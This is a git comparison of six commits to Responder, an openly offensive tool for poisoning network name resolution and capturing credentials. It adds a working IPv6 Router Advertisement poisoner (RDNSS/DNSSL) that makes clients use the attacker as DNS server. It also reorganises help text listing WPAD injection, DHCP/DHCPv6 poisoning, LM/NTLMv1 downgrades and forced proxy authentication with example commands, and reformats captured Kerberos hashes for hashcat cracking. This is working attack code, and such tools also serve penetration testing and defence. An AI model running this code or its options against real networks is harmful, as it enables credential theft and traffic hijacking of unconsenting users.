Compare commits

..

6 Commits

Author SHA1 Message Date
lgandx
fb29fe25db Implemented RDNSS and DNSSL 2026-01-26 19:05:44 -03:00
lgandx
f1649c136d added db locking on save to DB operations 2026-01-24 23:45:37 -03:00
lgandx
9a2144a8a1 Reformatted help output 2026-01-24 10:55:35 -03:00
lgandx
271b564bd8 Properly formatted etype 17 & 18 hashes + minor fixes 2026-01-24 10:20:54 -03:00
lgandx
83ecb7d343 Use Bind_To6 2026-01-24 10:00:26 -03:00
lgandx
2da22ce312 Now aligned with utils.py IPv6 changes 2026-01-24 09:26:02 -03:00
6 changed files with 762 additions and 200 deletions

View File

@@ -26,31 +26,281 @@ from utils import *
import struct
banner()
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0])
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
import optparse
import textwrap
parser.add_option('--dhcpv6', action="store_true", help="Enable DHCPv6 poisoning attack (disabled by default). Responds to DHCPv6 SOLICIT messages and configures attacker as DNS server. WARNING: May cause network disruption.", dest="DHCPv6_On_Off", default=False)
class ResponderHelpFormatter(optparse.IndentedHelpFormatter):
"""Custom formatter for better help output"""
def format_description(self, description):
if description:
return description + "\n"
return ""
def format_epilog(self, epilog):
if epilog:
return "\n" + epilog + "\n"
return ""
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
def create_parser():
"""Create argument parser with organized option groups"""
usage = textwrap.dedent("""\
python3 %prog -I eth0 -v""")
description = textwrap.dedent("""\
══════════════════════════════════════════════════════════════════════════════
Responder - LLMNR/NBT-NS/mDNS Poisoner and Rogue Authentication Servers
══════════════════════════════════════════════════════════════════════════════
Captures credentials by responding to broadcast/multicast name resolution,
DHCP, DHCPv6 requests
══════════════════════════════════════════════════════════════════════════════""")
epilog = textwrap.dedent("""\
══════════════════════════════════════════════════════════════════════════════
Examples:
══════════════════════════════════════════════════════════════════════════════
Basic poisoning: python3 Responder.py -I eth0 -v
##Watch what's going on:
Analyze mode (passive): python3 Responder.py -I eth0 -Av
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)
##Working on old networks:
WPAD with forced auth: python3 Responder.py -I eth0 -wFv
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in its Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kerberos relaying over HTTP.", dest="AnswerName", default=None)
parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
##Great module:
Proxy auth: python3 Responder.py -I eth0 -Pv
##DHCPv6 + Proxy authentication:
DHCPv6 attack: python3 Responder.py -I eth0 --dhcpv6 -vP
##DHCP -> WPAD injection -> Proxy authentication:
DHCP + WPAD injection: python3 Responder.py -I eth0 -Pvd
##Poison requests to an arbitrary IP:
Poison with external IP: python3 Responder.py -I eth0 -e 10.0.0.100
##Poison requests to an arbitrary IPv6 IP:
Poison with external IPv6: python3 Responder.py -I eth0 -6 2800:ac:4000:8f9e:c5eb:2193:71:1d12
══════════════════════════════════════════════════════════════════════════════
For more info: https://github.com/lgandx/Responder/blob/master/README.md
══════════════════════════════════════════════════════════════════════════════""")
parser = optparse.OptionParser(
usage=usage,
version=settings.__version__,
prog="Responder.py",
description=description,
epilog=epilog,
formatter=ResponderHelpFormatter()
)
# -------------------------------------------------------------------------
# REQUIRED OPTIONS
# -------------------------------------------------------------------------
required = optparse.OptionGroup(parser,
"Required Options",
"These options must be specified")
required.add_option('-I', '--interface',
action="store",
dest="Interface",
metavar="eth0",
default=None,
help="Network interface to use. Use 'ALL' for all interfaces.")
parser.add_option_group(required)
# -------------------------------------------------------------------------
# POISONING OPTIONS
# -------------------------------------------------------------------------
poisoning = optparse.OptionGroup(parser,
"Poisoning Options",
"Control how Responder poisons name resolution requests")
poisoning.add_option('-A', '--analyze',
action="store_true",
dest="Analyze",
default=False,
help="Analyze mode. See requests without poisoning. (passive)")
poisoning.add_option('-e', '--externalip',
action="store",
dest="ExternalIP",
metavar="IP",
default=None,
help="Poison with a different IPv4 address than Responder's.")
poisoning.add_option('-6', '--externalip6',
action="store",
dest="ExternalIP6",
metavar="IPv6",
default=None,
help="Poison with a different IPv6 address than Responder's.")
poisoning.add_option('--rdnss',
action="store_true",
dest="RDNSS_On_Off",
default=False,
help="Poison via Router Advertisements with RDNSS. Sets attacker as IPv6 DNS.")
poisoning.add_option('--dnssl',
action="store",
dest="DNSSL_Domain",
metavar="DOMAIN",
default=None,
help="Poison via Router Advertisements with DNSSL. Injects DNS search suffix.")
poisoning.add_option('-t', '--ttl',
action="store",
dest="TTL",
metavar="HEX",
default=None,
help="Set TTL for poisoned answers. Hex value (30s = 1e) or 'random'.")
poisoning.add_option('-N', '--AnswerName',
action="store",
dest="AnswerName",
metavar="NAME",
default=None,
help="Canonical name in LLMNR answers. (for Kerberos relay over HTTP)")
parser.add_option_group(poisoning)
# -------------------------------------------------------------------------
# DHCP OPTIONS
# -------------------------------------------------------------------------
dhcp = optparse.OptionGroup(parser,
"DHCP Options",
"DHCP and DHCPv6 poisoning attacks")
dhcp.add_option('-d', '--DHCP',
action="store_true",
dest="DHCP_On_Off",
default=False,
help="Enable DHCPv4 poisoning. Injects WPAD in DHCP responses.")
dhcp.add_option('-D', '--DHCP-DNS',
action="store_true",
dest="DHCP_DNS",
default=False,
help="Inject DNS server (not WPAD) in DHCPv4 responses.")
dhcp.add_option('--dhcpv6',
action="store_true",
dest="DHCPv6_On_Off",
default=False,
help="Enable DHCPv6 poisoning. WARNING: May disrupt network.")
parser.add_option_group(dhcp)
# -------------------------------------------------------------------------
# WPAD / PROXY OPTIONS
# -------------------------------------------------------------------------
wpad = optparse.OptionGroup(parser,
"WPAD / Proxy Options",
"Web Proxy Auto-Discovery attacks")
wpad.add_option('-w', '--wpad',
action="store_true",
dest="WPAD_On_Off",
default=False,
help="Start WPAD rogue proxy server.")
wpad.add_option('-F', '--ForceWpadAuth',
action="store_true",
dest="Force_WPAD_Auth",
default=False,
help="Force NTLM/Basic auth on wpad.dat retrieval. (may show prompt)")
wpad.add_option('-P', '--ProxyAuth',
action="store_true",
dest="ProxyAuth_On_Off",
default=False,
help="Force proxy authentication. Highly effective. (can't use with -w)")
wpad.add_option('-u', '--upstream-proxy',
action="store",
dest="Upstream_Proxy",
metavar="HOST:PORT",
default=None,
help="Upstream proxy for rogue WPAD proxy outgoing requests.")
parser.add_option_group(wpad)
# -------------------------------------------------------------------------
# AUTHENTICATION OPTIONS
# -------------------------------------------------------------------------
auth = optparse.OptionGroup(parser,
"Authentication Options",
"Control authentication methods and downgrades")
auth.add_option('-b', '--basic',
action="store_true",
dest="Basic",
default=False,
help="Return HTTP Basic auth instead of NTLM. (cleartext passwords)")
auth.add_option('--lm',
action="store_true",
dest="LM_On_Off",
default=False,
help="Force LM hashing downgrade. (for Windows XP/2003)")
auth.add_option('--disable-ess',
action="store_true",
dest="NOESS_On_Off",
default=False,
help="Disable Extended Session Security. (NTLMv1 downgrade)")
auth.add_option('-E', '--ErrorCode',
action="store_true",
dest="ErrorCode",
default=False,
help="Return STATUS_LOGON_FAILURE. (enables WebDAV auth capture)")
parser.add_option_group(auth)
# -------------------------------------------------------------------------
# OUTPUT OPTIONS
# -------------------------------------------------------------------------
output = optparse.OptionGroup(parser,
"Output Options",
"Control verbosity and logging")
output.add_option('-v', '--verbose',
action="store_true",
dest="Verbose",
default=False,
help="Increase verbosity. (recommended)")
output.add_option('-Q', '--quiet',
action="store_true",
dest="Quiet",
default=False,
help="Quiet mode. Minimal output from poisoners.")
parser.add_option_group(output)
# -------------------------------------------------------------------------
# PLATFORM OPTIONS
# -------------------------------------------------------------------------
platform = optparse.OptionGroup(parser,
"Platform Options",
"OS-specific settings")
platform.add_option('-i', '--ip',
action="store",
dest="OURIP",
metavar="IP",
default=None,
help="Local IP to use. (OSX only)")
parser.add_option_group(platform)
return parser
parser = create_parser()
options, args = parser.parse_args()
if not os.geteuid() == 0:
@@ -342,7 +592,15 @@ def main():
# DHCPv6 Server (disabled by default, enable with --dhcpv6)
if settings.Config.DHCPv6_On_Off:
from servers.DHCPv6 import DHCPv6
threads.append(Thread(target=serve_thread_dhcpv6, args=('', 547, DHCPv6,)))
threads.append(Thread(target=serve_thread_dhcpv6, args=('', 547, DHCPv6,)))
if settings.Config.RDNSS_On_Off or settings.Config.DNSSL_Domain:
from poisoners.RDNSS import RDNSS
threads.append(Thread(target=RDNSS, args=(
settings.Config.Interface, # 1. interface
settings.Config.RDNSS_On_Off, # 2. rdnss_enabled (bool)
settings.Config.DNSSL_Domain # 3. dnssl_domain (str or None)
)))
# Load MDNS, NBNS and LLMNR Poisoners
if settings.Config.LLMNR_On_Off:

357
poisoners/RDNSS.py Normal file
View File

@@ -0,0 +1,357 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
RDNSS/DNSSL Poisoner - DNS Router Advertisement Options (RFC 8106)
Sends IPv6 Router Advertisements with:
- RDNSS (Recursive DNS Server) option - advertises Responder as DNS server
- DNSSL (DNS Search List) option - injects DNS search suffix
Both options are independent and can be used separately or together.
This causes IPv6-enabled clients to:
- Use Responder's DNS server for name resolution (RDNSS)
- Append search suffix to unqualified names (DNSSL)
Usage:
python Responder.py -I eth0 --rdnss -v # RDNSS only
python Responder.py -I eth0 --dnssl corp.local -v # DNSSL only
python Responder.py -I eth0 --rdnss --dnssl corp.local -v # Both
"""
import socket
import struct
import random
import time
import signal
from utils import *
# ICMPv6 Constants
ICMPV6_ROUTER_ADVERTISEMENT = 134
ICMPV6_HOP_LIMIT = 255
# DNS RA Option Types (RFC 8106)
ND_OPT_RDNSS = 25 # Recursive DNS Server
ND_OPT_DNSSL = 31 # DNS Search List
# IPv6 All-Nodes Multicast Address
IPV6_ALL_NODES = "ff02::1"
# RA Timing (seconds)
RA_INTERVAL_MIN = 30
RA_INTERVAL_MAX = 120
RA_LIFETIME = 1800 # 30 minutes
class RDNSSOption:
"""Recursive DNS Server Option (Type 25)"""
def __init__(self, dns_servers, lifetime=RA_LIFETIME):
self.dns_servers = dns_servers if isinstance(dns_servers, list) else [dns_servers]
self.lifetime = lifetime
def build(self):
if not self.dns_servers:
return b''
addresses = b''
for server in self.dns_servers:
addresses += socket.inet_pton(socket.AF_INET6, server)
# Length in units of 8 octets: 1 (header) + 2 * num_addresses
length = 1 + (2 * len(self.dns_servers))
header = struct.pack(
'!BBHI',
ND_OPT_RDNSS,
length,
0, # Reserved
self.lifetime
)
return header + addresses
class DNSSLOption:
"""DNS Search List Option (Type 31)"""
def __init__(self, domains, lifetime=RA_LIFETIME):
self.domains = domains if isinstance(domains, list) else [domains]
self.lifetime = lifetime
@staticmethod
def encode_domain(domain):
"""Encode domain name in DNS wire format (RFC 1035)."""
encoded = b''
for label in domain.rstrip('.').split('.'):
label_bytes = label.encode('ascii')
encoded += bytes([len(label_bytes)]) + label_bytes
encoded += b'\x00' # Root label
return encoded
def build(self):
if not self.domains:
return b''
domain_data = b''
for domain in self.domains:
domain_data += self.encode_domain(domain)
# Pad to 8-octet boundary
header_size = 8
total_size = header_size + len(domain_data)
padding_needed = (8 - (total_size % 8)) % 8
domain_data += b'\x00' * padding_needed
length = (header_size + len(domain_data)) // 8
header = struct.pack(
'!BBHI',
ND_OPT_DNSSL,
length,
0, # Reserved
self.lifetime
)
return header + domain_data
class RouterAdvertisement:
"""ICMPv6 Router Advertisement Message"""
def __init__(self, rdnss=None, dnssl=None, managed=False, other=False, router_lifetime=0):
self.cur_hop_limit = 64
self.managed_flag = managed
self.other_flag = other
self.router_lifetime = router_lifetime # 0 = not a default router
self.reachable_time = 0
self.retrans_timer = 0
self.rdnss = rdnss
self.dnssl = dnssl
def build(self):
flags = 0
if self.managed_flag:
flags |= 0x80
if self.other_flag:
flags |= 0x40
ra_header = struct.pack(
'!BBHBBHII',
ICMPV6_ROUTER_ADVERTISEMENT,
0, # Code
0, # Checksum (placeholder)
self.cur_hop_limit,
flags,
self.router_lifetime,
self.reachable_time,
self.retrans_timer
)
options = b''
if self.rdnss:
options += self.rdnss.build()
if self.dnssl:
options += self.dnssl.build()
return ra_header + options
def compute_icmpv6_checksum(source, dest, icmpv6_packet):
"""Compute ICMPv6 checksum including pseudo-header."""
src_addr = socket.inet_pton(socket.AF_INET6, source)
dst_addr = socket.inet_pton(socket.AF_INET6, dest)
pseudo_header = struct.pack(
'!16s16sI3xB',
src_addr,
dst_addr,
len(icmpv6_packet),
58 # ICMPv6
)
data = pseudo_header + icmpv6_packet
if len(data) % 2:
data += b'\x00'
checksum = 0
for i in range(0, len(data), 2):
word = (data[i] << 8) + data[i + 1]
checksum += word
while checksum >> 16:
checksum = (checksum & 0xFFFF) + (checksum >> 16)
return ~checksum & 0xFFFF
def get_link_local_address(interface):
"""Get link-local IPv6 address for interface (required for RA source)."""
try:
with open('/proc/net/if_inet6', 'r') as f:
for line in f:
parts = line.split()
if len(parts) >= 6 and parts[5] == interface:
addr = parts[0]
formatted = ':'.join(addr[i:i+4] for i in range(0, 32, 4))
if formatted.lower().startswith('fe80'):
return formatted
except FileNotFoundError:
pass
# Fallback: try netifaces
try:
import netifaces
addrs = netifaces.ifaddresses(interface)
if netifaces.AF_INET6 in addrs:
for addr in addrs[netifaces.AF_INET6]:
ipv6 = addr.get('addr', '').split('%')[0]
if ipv6.lower().startswith('fe80'):
return ipv6
except:
pass
return None
def get_dns_server_address(interface):
"""Get IPv6 address to advertise as DNS server. Uses Bind_To6 from settings."""
# Use Bind_To6 from settings (set via -6 option or config)
if hasattr(settings.Config, 'Bind_To6') and settings.Config.Bind_To6:
return settings.Config.Bind_To6
# Fallback: auto-detect from interface
try:
import netifaces
addrs = netifaces.ifaddresses(interface)
if netifaces.AF_INET6 in addrs:
global_ipv6 = None
linklocal_ipv6 = None
for addr in addrs[netifaces.AF_INET6]:
ipv6 = addr.get('addr', '').split('%')[0]
if not ipv6 or ipv6 == '::1':
continue
if ipv6.lower().startswith('fe80'):
if not linklocal_ipv6:
linklocal_ipv6 = ipv6
else:
if not global_ipv6:
global_ipv6 = ipv6
# Prefer global, fall back to link-local
return global_ipv6 or linklocal_ipv6
except:
pass
# Last resort: link-local
return get_link_local_address(interface)
def send_ra(interface, source_ip, dns_server=None, dnssl_domains=None):
"""Send a single Router Advertisement."""
try:
# Build RDNSS option if DNS server specified
rdnss = None
if dns_server:
rdnss = RDNSSOption(dns_servers=[dns_server], lifetime=RA_LIFETIME)
# Build DNSSL option if domains specified
dnssl = None
if dnssl_domains:
dnssl = DNSSLOption(domains=dnssl_domains, lifetime=RA_LIFETIME)
# Build RA packet
ra = RouterAdvertisement(rdnss=rdnss, dnssl=dnssl)
# Create raw socket
sock = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, interface.encode())
sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_HOPS, ICMPV6_HOP_LIMIT)
sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_UNICAST_HOPS, ICMPV6_HOP_LIMIT)
# Build packet with checksum
packet = bytearray(ra.build())
checksum = compute_icmpv6_checksum(source_ip, IPV6_ALL_NODES, bytes(packet))
struct.pack_into('!H', packet, 2, checksum)
# Send to all-nodes multicast
sock.sendto(bytes(packet), (IPV6_ALL_NODES, 0, 0, socket.if_nametoindex(interface)))
sock.close()
return True
except PermissionError:
print(color("[!] ", 1, 1) + "RDNSS: Root privileges required for raw sockets")
return False
except OSError as e:
if settings.Config.Verbose:
print(color("[!] ", 1, 1) + "RDNSS error: %s" % str(e))
return False
def RDNSS(interface, rdnss_enabled, dnssl_domain):
"""
RDNSS/DNSSL Poisoner - Main entry point
Sends periodic Router Advertisements with DNS options:
- RDNSS: Advertises Responder as DNS server (--rdnss)
- DNSSL: Injects DNS search suffix (--dnssl)
Both options are independent and can be used separately or together.
Args:
interface: Network interface to send RAs on
rdnss_enabled: If True, include RDNSS option (DNS server)
dnssl_domain: If set, include DNSSL option (search suffix)
"""
# Get source address (must be link-local for RAs per RFC 4861)
source_ip = get_link_local_address(interface)
if not source_ip:
print(color("[!] ", 1, 1) + "RDNSS: Could not get link-local address for %s" % interface)
return
# Get DNS server address if RDNSS is enabled
dns_server = None
if rdnss_enabled:
dns_server = get_dns_server_address(interface)
if not dns_server:
print(color("[!] ", 1, 1) + "RDNSS: Could not determine IPv6 address for DNS server")
return
# Format DNSSL domain
domains = None
if dnssl_domain:
domains = [dnssl_domain] if isinstance(dnssl_domain, str) else dnssl_domain
# Startup messages
if dns_server:
print(color("[*] ", 2, 1) + "RDNSS advertising DNS server: %s" % dns_server)
if domains:
print(color("[*] ", 2, 1) + "DNSSL advertising search domain: %s" % ', '.join(domains))
print(color("[*] ", 2, 1) + "Sending RA every %d-%d seconds" % (RA_INTERVAL_MIN, RA_INTERVAL_MAX))
print(color("[*] ", 2, 1) + "Avoid self poisoning with: \"sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type router-advertisement -j DROP\"")
# Send initial RA
send_ra(interface, source_ip, dns_server, domains)
# Main loop - send RAs at random intervals
while True:
interval = random.randint(RA_INTERVAL_MIN, RA_INTERVAL_MAX)
time.sleep(interval)
send_ra(interface, source_ip, dns_server, domains)

View File

@@ -531,102 +531,25 @@ class DNS(BaseRequestHandler):
"""
Get IPv6 address for AAAA responses
Returns a valid native IPv6 address.
Returns the IPv6 address Responder is configured to use:
1. ExternalIP6 if set (-6 command line option)
2. Bind_To6 (already determined by FindLocalIP6 at startup)
Priority order:
1. ExternalIP6 (-6 command line option)
2. Bind_To_IPv6 from config file
3. Global IPv6 on interface (auto-detected)
4. Link-local fe80:: on interface (fallback - always available!)
Link-local addresses work for Responder because:
- Responder operates on the local network segment
- Clients on the same segment can reach fe80:: addresses
- fe80:: is always available when IPv6 is enabled
Does NOT return IPv4-mapped addresses (::ffff:x.x.x.x).
Does NOT return IPv4-mapped addresses (::ffff:x.x.x.x) or localhost.
"""
# Priority 1: Use ExternalIP6 if set (-6 command line option)
if hasattr(settings.Config, 'ExternalIP6') and settings.Config.ExternalIP6:
ipv6 = settings.Config.ExternalIP6
# Validate it's not an IPv4-mapped address
if not ipv6.startswith('::ffff:'):
if ipv6 and ipv6 not in ('::1', '') and not ipv6.startswith('::ffff:'):
return ipv6
# Priority 2: Use Bind_To_IPv6 from config
if hasattr(settings.Config, 'Bind_To_IPv6') and settings.Config.Bind_To_IPv6:
ipv6 = settings.Config.Bind_To_IPv6
if not ipv6.startswith('::ffff:'):
# Priority 2: Use Bind_To6 (set by FindLocalIP6 at startup)
if hasattr(settings.Config, 'Bind_To6') and settings.Config.Bind_To6:
ipv6 = settings.Config.Bind_To6
if ipv6 and ipv6 not in ('::1', '::') and not ipv6.startswith('::ffff:'):
return ipv6
# Priority 3 & 4: Try to auto-detect IPv6 on the interface
# First pass: look for global IPv6
# Second pass: accept link-local fe80::
try:
import netifaces
target_iface = None
# Find interface from IPv4 address
ipv4 = settings.Config.Bind_To
for iface in netifaces.interfaces():
try:
addrs = netifaces.ifaddresses(iface)
# Check if this interface has our IPv4
if netifaces.AF_INET in addrs:
for addr in addrs[netifaces.AF_INET]:
if addr.get('addr') == ipv4:
target_iface = iface
break
if target_iface:
break
except:
continue
# If no interface found via IPv4, use configured interface
if not target_iface and hasattr(settings.Config, 'Interface') and settings.Config.Interface:
target_iface = settings.Config.Interface
if target_iface:
try:
addrs = netifaces.ifaddresses(target_iface)
if netifaces.AF_INET6 in addrs:
global_ipv6 = None
linklocal_ipv6 = None
for ipv6_addr in addrs[netifaces.AF_INET6]:
ipv6 = ipv6_addr.get('addr', '').split('%')[0] # Remove %interface suffix
if not ipv6 or ipv6.startswith('::ffff:') or ipv6 == '::1':
continue
if ipv6.startswith('fe80:'):
# Link-local - save as fallback
if not linklocal_ipv6:
linklocal_ipv6 = ipv6
else:
# Global IPv6 - preferred
if not global_ipv6:
global_ipv6 = ipv6
# Priority 3: Return global IPv6 if available
if global_ipv6:
return global_ipv6
# Priority 4: Fall back to link-local
if linklocal_ipv6:
return linklocal_ipv6
except:
pass
except ImportError:
pass # netifaces not available
except Exception as e:
pass # IPv6 detection failed silently
# No IPv6 found at all (IPv6 disabled on system)
# No valid IPv6 available
return None
def get_type_name(self, query_type):

View File

@@ -679,14 +679,12 @@ class KerbTCP(BaseRequestHandler):
else:
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
elif etype_num == 0x12: # AES256 (18)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
elif etype_num == 0x11: # AES128 (17)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
elif etype_num == 0x12: # AES256 (18) - hashcat mode 19900
# Format: $krb5pa$18$user$realm$cipher (hashcat computes salt internally)
hash_value = '$krb5pa$18$%s$%s$%s' % (cname, realm, cipher_hex)
elif etype_num == 0x11: # AES128 (17) - hashcat mode 19800
# Format: $krb5pa$17$user$realm$cipher (hashcat computes salt internally)
hash_value = '$krb5pa$17$%s$%s$%s' % (cname, realm, cipher_hex)
else:
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
@@ -703,7 +701,14 @@ class KerbTCP(BaseRequestHandler):
# Print the hash
if settings.Config.Verbose:
print(text('[KERB] Use hashcat -m 7500 (etype %d): %s' % (etype_num, hash_value)))
if etype_num == 0x17 or etype_num == 0x18:
print(text('[KERB] Use hashcat -m 7500 (etype 23): %s' % hash_value))
elif etype_num == 0x12:
print(text('[KERB] Use hashcat -m 19900 (etype 18): %s' % hash_value))
elif etype_num == 0x11:
print(text('[KERB] Use hashcat -m 19800 (etype 17): %s' % hash_value))
else:
print(text('[KERB] Kerberos hash (etype %d): %s' % (etype_num, hash_value)))
else:
if settings.Config.Verbose:
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
@@ -798,14 +803,12 @@ class KerbUDP(BaseRequestHandler):
else:
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
elif etype_num == 0x12: # AES256 (18)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
elif etype_num == 0x11: # AES128 (17)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
elif etype_num == 0x12: # AES256 (18) - hashcat mode 19900
# Format: $krb5pa$18$user$realm$cipher (hashcat computes salt internally)
hash_value = '$krb5pa$18$%s$%s$%s' % (cname, realm, cipher_hex)
elif etype_num == 0x11: # AES128 (17) - hashcat mode 19800
# Format: $krb5pa$17$user$realm$cipher (hashcat computes salt internally)
hash_value = '$krb5pa$17$%s$%s$%s' % (cname, realm, cipher_hex)
else:
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
@@ -821,7 +824,14 @@ class KerbUDP(BaseRequestHandler):
})
# Print the hash
print(color('[KERB] Kerberos 5 AS-REQ (etype %d): %s' % (etype_num, hash_value), 3, 1))
if etype_num == 0x17 or etype_num == 0x18:
print(color('[KERB] Kerberos Pre-Auth (hashcat -m 7500): %s' % hash_value, 3, 1))
elif etype_num == 0x12:
print(color('[KERB] Kerberos Pre-Auth (hashcat -m 19900): %s' % hash_value, 3, 1))
elif etype_num == 0x11:
print(color('[KERB] Kerberos Pre-Auth (hashcat -m 19800): %s' % hash_value, 3, 1))
else:
print(color('[KERB] Kerberos 5 AS-REQ (etype %d): %s' % (etype_num, hash_value), 3, 1))
else:
if settings.Config.Verbose:
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))

View File

@@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.2.1.0'
__version__ = 'Responder 3.2.2.0'
class Settings:
@@ -178,6 +178,8 @@ class Settings:
self.Quiet_Mode = options.Quiet
self.AnswerName = options.AnswerName
self.ErrorCode = options.ErrorCode
self.RDNSS_On_Off = options.RDNSS_On_Off
self.DNSSL_Domain = options.DNSSL_Domain
# TTL blacklist. Known to be detected by SOC / XDR
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]

156
utils.py
View File

@@ -20,6 +20,7 @@ import re
import logging
import socket
import time
import threading
import settings
import datetime
import codecs
@@ -87,6 +88,9 @@ except:
print("[!] Please install python-sqlite3 extension.")
sys.exit(0)
# Thread lock for database operations to prevent "database is locked" errors
_db_lock = threading.Lock()
def color(txt, code = 1, modifier = 0):
if txt.startswith('[*]'):
settings.Config.PoisonersLogger.warning(txt)
@@ -400,6 +404,7 @@ def NetworkRecvBufferPython2or3(data):
def CreateResponderDb():
if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.execute('PRAGMA journal_mode=WAL')
cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
cursor.commit()
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
@@ -420,64 +425,66 @@ def SaveToDb(result):
#text("[*] Skipping one character username: %s" % result['user'])
return
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
if len(result['cleartext']):
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?) AND cleartext=?", (result['module'], result['type'], result['client'], result['user'], result['cleartext']))
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
(count,) = res.fetchone()
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
if not count:
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit()
